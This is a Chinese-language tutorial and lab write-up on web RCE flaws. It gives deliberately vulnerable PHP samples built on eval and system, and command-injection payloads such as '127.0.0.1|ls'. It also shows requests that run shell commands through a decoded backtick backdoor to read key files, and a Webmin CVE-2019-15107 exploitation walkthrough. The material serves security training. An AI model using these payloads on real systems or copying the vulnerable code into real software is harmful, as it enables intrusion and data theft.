简单了解WEB漏洞-RCE代码及命令执行漏洞

​ 在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞

举例

代码执行

<?php
$code = $_GET['x'];
eval($code);
?>

访问该文件向x传递phpinfo();参数

http://127.0.0.1/test.php?x=phpinfo();

简单了解WEB漏洞-RCE代码及命令执行漏洞

成功执行代码

命令执行

<?php
$code = $_GET['x'];
system($code);
?>

访问该文件向x传递ipconfig参数

简单了解WEB漏洞-RCE代码及命令执行漏洞

原理

漏洞形成条件:

可控变量:变量可以传递参数

漏洞函数:eval就是代码执行 system就是系统命令执行 echo就是输出可以使用xss

web源码:网站应用决定网站漏洞方向

检测

白盒:代码审计

黑盒:漏扫工具 公开漏洞 手工看参数值及功能点判定

靶场案例

靶场一

https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe

简单了解WEB漏洞-RCE代码及命令执行漏洞

先输入一个ip

简单了解WEB漏洞-RCE代码及命令执行漏洞

可以看到执行了ping命令

所以判断他应该是执行了类似system类命令

接下来判断是linux还是window

随便抓个包试下

简单了解WEB漏洞-RCE代码及命令执行漏洞

可以看出这是一个linux

使用linux的拼接命令执行

127.0.0.1|ls

简单了解WEB漏洞-RCE代码及命令执行漏洞

查看页面源代码

简单了解WEB漏洞-RCE代码及命令执行漏洞

发现是前端js限制

直接使用burp抓包修改

简单了解WEB漏洞-RCE代码及命令执行漏洞

简单了解WEB漏洞-RCE代码及命令执行漏洞

接下来查看key.php文件

简单了解WEB漏洞-RCE代码及命令执行漏洞

简单了解WEB漏洞-RCE代码及命令执行漏洞

靶场二

https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe

简单了解WEB漏洞-RCE代码及命令执行漏洞

把代码跑一跑看下

<?php
echo gzinflate(base64_decode('40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA=='));
?> 

简单了解WEB漏洞-RCE代码及命令执行漏洞

也就源代码为

eval(echo`$_REQUEST[a]`;;?>) #echo+反引号可以执行linux的shell命令 执行的命令就是反引号中的内容

a接收数据

http://219.153.49.228:42010/f.php?a=ls

简单了解WEB漏洞-RCE代码及命令执行漏洞

读取key

http://219.153.49.228:42010/f.php?a=tac key_46331475425346.php

简单了解WEB漏洞-RCE代码及命令执行漏洞

靶场三

简单了解WEB漏洞-RCE代码及命令执行漏洞

webmin登录界面

webmin存在远程命令执行漏洞

webmin 远程命令执行漏洞(CVE-2019-15107)

随便输入账号密码抓包

题目说明key在根目录下

old用来接收命令直接看下根目录

简单了解WEB漏洞-RCE代码及命令执行漏洞

找到key查看文件

简单了解WEB漏洞-RCE代码及命令执行漏洞

完事

上一篇:CTFHub-web(RCE)


下一篇:【社团培训】RCE